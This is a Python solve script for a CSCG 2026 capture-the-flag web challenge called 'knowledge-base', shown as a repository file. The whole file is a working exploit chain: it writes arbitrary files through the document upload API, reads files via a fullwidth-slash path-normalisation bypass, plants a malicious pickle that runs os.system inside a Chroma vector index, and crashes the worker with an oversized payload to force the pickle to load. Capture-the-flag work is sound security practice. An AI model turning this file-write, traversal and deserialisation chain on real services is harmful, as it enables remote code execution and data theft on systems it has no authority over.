Files
ctf/2026/cscg/web/knowledge-base/solve.py
2026-04-10 03:31:12 +02:00

89 lines
2.7 KiB
Python

import requests
import urllib.parse
import os
import pickle
import re
import time
#BASE_URL = "http://localhost:8000"
BASE_URL = "https://24ymje4oe2ebyoe46fjxoejq2b-8000-knowledge-base.challenge.cscg.live/"
def write_file(target_path: str, content: str, verbose: bool = False) -> str:
url = f"{BASE_URL}/api/docs"
files = {
'file': (target_path, content.encode('utf-8'), 'text/plain')
}
if verbose:
print(f"[*] Attempting to write to {target_path}...")
try:
response = requests.post(url, files=files)
if response.status_code == 200:
doc_id = response.json().get('doc_id')
if verbose:
print(f"[+] Success! Wrote to {target_path} (Doc ID: {doc_id})")
return doc_id
else:
if verbose:
print(f"[-] Failed to write. Status: {response.status_code}")
print(f"[-] Response: {response.text}")
return None
except requests.exceptions.RequestException as e:
if verbose:
print(f"[-] Connection error: {e}")
return None
def read_file(target_path: str, verbose: bool = False) -> str:
nfkc_path = target_path.replace('/', '\uFF0F')
encoded_path = urllib.parse.quote(nfkc_path)
url = f"{BASE_URL}/api/docs/{encoded_path}"
if verbose:
print(f"[*] Attempting to read {target_path} (via NFKC bypass)...")
try:
response = requests.get(url)
if response.status_code == 200:
if verbose:
print(f"[+] Success! Read {len(response.text)} bytes.")
return response.text
else:
if verbose:
print(f"[-] Failed to read. Status: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
if verbose:
print(f"[-] Connection error: {e}")
return None
def kill_worker():
with open("./emojis.txt") as f:
garbage_payload = f.read()
print("Killing worker")
write_file("/docs/oom.txt", garbage_payload)
def get_payload():
class Exploit:
def __reduce__(self):
return (os.system, ("/readflag > /docs/flag.txt",))
payload = Exploit()
return pickle.dumps(payload, protocol=0)
if __name__ == "__main__":
content = read_file("/chroma-data/chroma.sqlite3", verbose=True)
pattern = r"([0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12})urn:chroma:segment/vector"
uuid = re.findall(pattern, content)[0]
write_file("/docs/make_folder.txt", "filler to make the folder", verbose=True)
write_file(f"/chroma-data/{uuid}/index_metadata.pickle", get_payload().decode(), verbose=True)
kill_worker()
time.sleep(5)
print(read_file("/docs/flag.txt"))